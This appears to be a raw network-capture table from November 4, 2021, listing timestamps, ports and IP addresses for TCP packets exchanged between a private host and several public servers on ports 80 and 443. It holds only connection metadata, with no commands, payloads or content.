Nov 4, 2021 13:12:39.222655058 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222671032 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.222676992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222696066 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.222707033 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222726107 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.222728968 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222747087 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.222749949 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.222760916 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.222783089 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253563881 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253597975 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253623962 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253638029 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253669024 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253674030 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253696918 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253700972 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253727913 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253741026 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253755093 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253767014 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253781080 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253793955 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253808022 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253808022 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253834009 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253846884 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253859997 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253884077 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253886938 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253907919 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253912926 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253925085 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253938913 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253959894 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253967047 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.253988981 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.253994942 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254008055 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.254023075 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254031897 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.254049063 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254065990 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.254075050 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254101992 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254127979 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254154921 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254182100 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254208088 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254235029 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254260063 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254285097 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254312038 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254336119 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254362106 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254388094 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254415035 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254441977 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254467010 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254492998 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254519939 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254544973 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254573107 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254599094 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254626036 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254643917 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.254652977 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254678011 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254704952 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254731894 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254756927 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254782915 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254808903 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254846096 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254880905 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254908085 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254935026 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254959106 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.254961014 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.254973888 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.254987955 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255008936 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.255014896 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255040884 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255067110 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255093098 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.255094051 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255109072 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.255130053 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255141020 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.255166054 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255188942 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.255194902 CET	80	49754	104.21.92.165	192.168.2.3
Nov 4, 2021 13:12:39.255223036 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.255285025 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:39.694674015 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:12:40.165999889 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.166043997 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.166136026 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.168766022 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.168786049 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.209367037 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.209714890 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.209770918 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.210408926 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.210422039 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.212233067 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.212349892 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.218875885 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.219100952 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.219753981 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.219791889 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.272089958 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:40.272253036 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.275228024 CET	49755	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:40.275250912 CET	443	49755	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.443680048 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.443728924 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.443814039 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.446768045 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.446784973 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.487255096 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.487477064 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.487499952 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.488051891 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.488065004 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.489851952 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.489959002 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.492691040 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.492842913 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.492993116 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.493012905 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.534538984 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.544951916 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.545013905 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.545080900 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.545574903 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:43.545597076 CET	443	49756	172.67.207.136	192.168.2.3
Nov 4, 2021 13:12:43.545607090 CET	49756	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:12:46.328592062 CET	49754	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:06.762243986 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.762290001 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.764133930 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.781832933 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.781857014 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.821082115 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.822484970 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.822508097 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.823156118 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.823172092 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.824259043 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.824352026 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.827296972 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.827398062 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.827507019 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.842878103 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.842925072 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.842997074 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.845093012 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.845117092 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.868869066 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.874209881 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.874408960 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.876790047 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.876821041 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.876832962 CET	49759	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:06.876840115 CET	443	49759	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:06.882617950 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.883013010 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.883865118 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.883904934 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.885083914 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.885185003 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.888705969 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.888914108 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.889148951 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.889451027 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.889472008 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.889528990 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.889837980 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.889870882 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.890078068 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.890090942 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.890297890 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.890311956 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.890480995 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.890492916 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.967968941 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.968082905 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:06.968791962 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.969054937 CET	49760	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:06.969074965 CET	443	49760	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:15.813560009 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.813594103 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.813667059 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.815474987 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.815495014 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.879501104 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.879803896 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.879837036 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.880975962 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.880990028 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.882829905 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.882926941 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.887675047 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.887895107 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.888041973 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.888065100 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.979166985 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:15.979268074 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.979710102 CET	49761	443	192.168.2.3	172.67.139.144
Nov 4, 2021 13:13:15.979737997 CET	443	49761	172.67.139.144	192.168.2.3
Nov 4, 2021 13:13:16.283111095 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.283158064 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.283274889 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.286513090 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.286550999 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.326644897 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.329082966 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.329113960 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.330478907 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.330492020 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.332384109 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.332492113 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.336636066 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.336865902 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.336868048 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.380912066 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.382468939 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.382633924 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.383121014 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.383143902 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:16.383167028 CET	49762	443	192.168.2.3	172.67.207.136
Nov 4, 2021 13:13:16.383176088 CET	443	49762	172.67.207.136	192.168.2.3
Nov 4, 2021 13:13:28.870140076 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.870181084 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.871692896 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.871725082 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.871731997 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.913033009 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.913273096 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.913296938 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.916080952 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.916104078 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.917558908 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.917655945 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.920399904 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.920546055 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.920995951 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.921011925 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.964317083 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.984163046 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.984323025 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.984460115 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.984684944 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.984705925 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:28.984719038 CET	49765	443	192.168.2.3	104.21.79.9
Nov 4, 2021 13:13:28.984728098 CET	443	49765	104.21.79.9	192.168.2.3
Nov 4, 2021 13:13:29.016352892 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.033231974 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.033370972 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.038016081 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.054965019 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097462893 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097493887 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097507000 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097524881 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097537041 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097548962 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097560883 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097579002 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097595930 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097613096 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097626925 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097629070 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097645998 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097661018 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097661972 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097675085 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097692013 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097700119 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097707987 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097723961 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097740889 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097740889 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097754002 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097768068 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097770929 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097786903 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097800970 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097803116 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097820044 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097835064 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097837925 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097851038 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097867966 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097882986 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097898960 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097912073 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097914934 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097914934 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097930908 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097946882 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097963095 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097978115 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.097981930 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097985029 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.097995043 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098010063 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098026991 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098042965 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098052025 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.098056078 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.098058939 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098076105 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098090887 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098107100 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098124027 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098140001 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098146915 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.098150015 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.098155975 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098171949 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098186970 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098201990 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098217964 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.098225117 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.098227978 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.098864079 CET	49767	80	192.168.2.3	104.21.92.165
Nov 4, 2021 13:13:29.115058899 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115083933 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115097046 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115108967 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115125895 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115140915 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115156889 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115173101 CET	80	49767	104.21.92.165	192.168.2.3
Nov 4, 2021 13:13:29.115185022 CET	49767	80	192.168.2.3	104.21.92.165
